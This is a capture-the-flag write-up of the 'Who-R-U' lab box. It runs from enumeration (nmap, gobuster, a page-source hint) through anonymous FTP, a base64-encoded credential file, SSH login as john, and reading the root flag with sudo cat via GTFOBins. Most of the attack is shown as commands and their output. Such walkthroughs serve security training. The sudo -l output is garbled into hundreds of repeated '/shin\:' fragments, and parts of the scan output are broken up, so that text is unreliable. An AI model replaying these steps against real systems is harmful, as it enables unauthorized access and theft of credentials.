Who-R-U


By PaddyAZ

Enumeration

First I enumerated the attack surface with nmap.

```
└$ nmap -sC -sV target.thm
Starting Nmap 7.93 (https://nmap.org) at 2023-04-10 18:18 MST
Nmap scan report for target.thm (10.10.171.28)
Host is up (0.17s latency).
Not shown: 997 closed tcp ports (conn-refused)
P0RT
      STATE SERVICE VERSION
21/tcp open ftp
                    vsftpd 3.0.3
| ftp-syst:
    STAT:
 FTP server status:
      Connected to ::ffff:10.13.8.238
      Logged in as ftp
      TYPE: ASCII
      No session bandwidth limit
      Session timeout in seconds is 300
      Control connection is plain text
      Data connections will be plain text
      At session startup, client count was 2
      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp
                                          21 Apr 10 17:10 creds.txt
                          ftp
                   OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol
22/tcp open ssh
2.0)
| ssh-hostkey:
    2048 44eeddb540f5612d801eff5f11d92bd0 (RSA)
    256 61b1058fc8fd42e0e5bf903e9f1dd49d (ECDSA)
    256 cecfadc4648a723f3212a487413085b1 (ED25519)
80/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Who-R-U?
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Check port 80 via browser



Hello,

Nothing to see here. Move along...

And check the source

```
< → C ŵ
                                  🚵 view-source:http://target.thm/
                     TryHackMe @ PenTest.WS @ lcl:CyberChef (docker)
□ OSCP □ Docker
  1 <!doctype html>
  2 <html>
 3 <head>
      <meta charset="utf-8">
       <title>Who-R-U?</title>
 6 </head>
  7 <body>
       <h1>Hello, </h1>
       Nothing to see here. Move along...
 10 </body>
 11 <!-- I'm tired of resetting your forgotten password J.... -->
 12 </html>
```

Someone named j something...

Check for other files and directories using gobuster

```
└─$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-
directories-lowercase.txt -t 25 -e -u http://target.thm/
______
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
______
[+] Url:
                     http://target.thm/
[+] Method:
                     GET
[+] Threads:
                     /usr/share/seclists/Discovery/Web-Content/raft-medium-
[+] Wordlist:
directories-lowercase.txt
[+] Negative Status codes:
[+] User Agent:
                     gobuster/3.5
[+] Expanded:
                     true
[+] Timeout:
______
2023/04/10 18:27:00 Starting gobuster in directory enumeration mode
______
Progress: 26584 / 26585 (100.00%)
```

Found nothing...

We have anonymous access via ftp

```
└$ ftp anonymous@target.thm
Connected to target.thm.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
229 Entering Extended Passive Mode (|||34850|)
150 Here comes the directory listing.
             2 ftp
                       ftp
                                    4096 Apr 10 17:10 .
drwxr-xr-x
drwxr-xr-x
             2 ftp
                       ftp
                                    4096 Apr 10 17:10 ...
-rw-r--r--
             1 ftp
                       ftp
                                     21 Apr 10 17:10 creds.txt
226 Directory send OK.
ftp> get creds.txt
local: creds.txt remote: creds.txt
229 Entering Extended Passive Mode (|||18570|)
150 Opening BINARY mode data connection for creds.txt (21 bytes).
100% |
          53.54 KiB/s
                      00:00 ETA
226 Transfer complete.
21 bytes received in 00:00 (0.12 KiB/s)
ftp> by
221 Goodbye.
```

I downloaded the creds file found there

```
└─$ cat creds.txt
<REDACTED>ByZAo=
```

Decoded the contents of the file

```
└─$ base64 -d creds.txt
john:<REDACTED>
```

Foothold

We can now access as john via ssh

```
└─$ ssh john@target.thm
Warning: Permanently added 'target.thm' (ED25519) to the list of known hosts.
john@target.thm's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic i686)
```

^{*} Documentation: https://help.ubuntu.com

```
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

448 packages can be updated.
389 updates are security updates.

New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Apr 10 18:21:09 2023 from 10.13.8.238
```

Check for and get contents of user flag

```
john@who-r-u:~$ ls -l
total 4
-r-xr--r-- 1 john john 25 Apr 10 17:10 user.txt
john@who-r-u:~$ cat user.txt
<REDACTED>
```

Privilege Escalation

Checking sudo capabilities

```
john@who-r-u:~$ sudo -l
Matching Defaults entries for john on who-r-u.myguest.virtualbox.org:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/sbin\:/bin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/
```

Check GTFOBins to see if that can be exploited to our benefit.

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
LFILE=file_to_read
sudo cat "$LFILE"
```

based on the way the first flag was named I took a stab at it:

```
john@who-r-u:~$ sudo cat /root/root.txt
<REDACTED>
```